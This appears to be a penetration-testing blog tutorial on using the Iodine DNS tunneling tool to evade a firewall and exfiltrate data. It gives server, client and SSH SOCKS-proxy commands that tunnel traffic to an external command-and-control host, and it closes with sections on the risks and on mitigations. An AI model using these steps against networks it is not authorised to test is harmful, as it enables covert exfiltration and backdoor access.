Hello World and welcome to haxez. Today I want to talk about the DNS tunneling software Iodine. Or more specifically I want to talk about data exfiltration and firewall evasion via DNS encapsulation. If you haven’t read my article on DNS then I strongly recommend giving that a quick read-through beforehand.
Scenario
Envision a scenario where you’ve successfully socially engineered your way into a super-secret evil organization. You’ve bypassed physical security and have found a sneaky corner office with an ethernet port. You plug your laptop into the network and the DHCP server assigns you an IP address. Next, you compromise a host and attempt to ping your external Command and Control center (C2). You ping your domain name. The ping returns the correct IP address for your domain name but your pings all time out… what do you do?
Solution
Why would ping be able to resolve your domain names IP address but not be able to ping it? Other than the obvious ICMP packets being blocked, it could be that the network administrator has blocked all traffic except DNS. This is a common configuration to allow DNS resolution on the network, but fortunately, it is also susceptible to abuse. By using the DNS tunneling software Iodine, we can establish a tunnel to an external host and use it as a proxy to the internet.
Initial Set Up
In order to perform this type of attack, you will need an external server capable of running Iodine. Iodine should be compatible with most Linux distributions but for this demonstration, I’m going to be using a Debian-based cloud server. Furthermore, You will also need your own domain name and access to edit the DNS records for that domain. Finally, you will need a Linux machine to launch your attack. As you can see from the screenshot below, my IP address is currently set to 37.120.198.179 (it’s a VPN before you ask).
Iodine DNS Configuration
For this demonstration, I’m going to be using my spare domain haxr.one. It is currently registered with google and is using their nameservers. I don’t use the domain for anything, I bought it on a whim and am now deciding to do something with it. In order for Iodine to work, we need to create some records so that the Iodine server and client can communicate. As you can see from the screenshot below, I have created an A record of dnstunip which points to my Debian server’s IP address of 185.132.43.9. I then create an NS (nameserver) record of dnstun and point it to the A record (dnstunip.haxr.one).
Iodine Server Configuration
On Debian, Iodine can be installed by simply running apt-get install iodine. That’s it, that’s all the installation you need to do unless Iodine isn’t found in the repositories. If that happens, you can clone it directory from the GitHub repository but they have documentation on how to do that. Once Iodine is installed you need to tell it to start listening for DNS queries for your domain. In order to do this, you need to run iodined (the server-side software). As you can see from the screenshot below I have started iodined and set the password of SecretPassword1337, the local IP address of 10.0.0.1, and the domain of dnstun.haxr.one. The local IP address is the IP address that the DNS tunnel is going to use to communicate with the client.
sudo iodined -f -c -P SecretPassword1337 10.0.0.1 dnstun.haxr.one
You should now be able to check that your Iodine server is set up correctly by visiting https://code.kryo.se/iodine/check-it/ and popping in your domain name.
Iodine Client Configuration
Once you have the server running, head back to your client and with sudo, run:
sudo iodine, -f -P SecretPassword1337 dnstun.haxr.one.Where the password is your password and the dnstun.haxr.one is your domain. This will then send DNS queries to the server to determine whether it can communicate with it. The client and server will then determine the upstream and downstream configurations and finally create the tunnel. The client should now have a new network interface called dns0 or something similar. The IP address of that interface will be set to an IP within the range that you specified on the server (10.0.0.X). That’s it, you now have a connection to the server. You can SSH into it and communicate with the outside world.
It’s also worth launching Wireshark and watching the DNS traffic being sent and received. It is quite bizarre seeing the length of some of the requests and responses. You can see from the screenshot below that the DNS traffic isn’t normal. However, Wireshark doesn’t seem to think there is a problem with it and unless there are devices on the network configured to look for this type of traffic then it probably won’t get flagged.
The Cherry On Top
Ok, but what if you want to browse the internet while you have this DNS tunnel established? There’s an SSH trick for that. If you SSH to the DNS tunnel servers IP address (10.0.0.1) and specify a few arguments, you can dynamically port forward traffic to your localhost. This means that by setting a proxy configuration in your browser to localhost and the specified port, you can browse the web. The command is:
sudo ssh -N -D 9090 [email protected]where 10.0.0.1 is the IP address of the server’s DNS tunnel IP and 9090 is the local port you want to forward to. The -N argument just means no command execution and the -D argument is the dynamic port forwarding flag that makes the magic happen.
Iodine Browser Configuration
Once that’s done, you can head to your browser’s proxy settings and manually configure a SOCKS proxy on the specified port. Save the changes and you should now be able to browse the web. As you can see from the screenshot below, I have created the SOCKS proxy and when visiting the what is my IP website, it tells me that my IP address is now the IP address of our Debian cloud server.
DNS Concerns
So why is this a problem? Well, it’s using DNS to exfiltrate data out of an otherwise restricted network. There are plenty of places such as banks, prisons, and other government facilities where internet access might be restricted for genuine reasons. These places do not want sensitive information to escape their network. Banks don’t want their client’s data stolen, prisons don’t want their inmates communicating with the outside world and governments don’t want their secrets leaked. Additionally, if a hacker were able to implant an easily concealed device into a network it could act as a backdoor into that network. This is also how some malware communicates back to the command and control center to receive instructions.
DNS Mitigations
How do you mitigate a service that is behaving as it is expected to? Well, there are actually a number of options. First, you could add domain allow and block lists to your configuration. By blocking known malicious domain names, you ensure that a DNS tunnel can’t be established to that domain name. However, a hacker could just register a new domain name and use that. A better approach is to use an allow list whereby only traffic from specific domains is allowed into the network.
An even better approach is to implement a device that performs traffic/packet inspection. There are a number of devices out there that will identify malicious DNS traffic and block it. You saw from the Wireshark screenshots that the DNS tunnel traffic stands out like a sore thumb. It is easily distinguishable from genuine DNS traffic.
DNS Conclusions
I thought this was a fantastic technique when I first come across it. A colleague/friend of mine recommend it to me while I was on an engagement and sure enough, it worked. I was shocked as I didn’t think it would be possible to encode data like that into DNS queries. You can have a full-blown conversation with another computer by smuggling it through DNS.
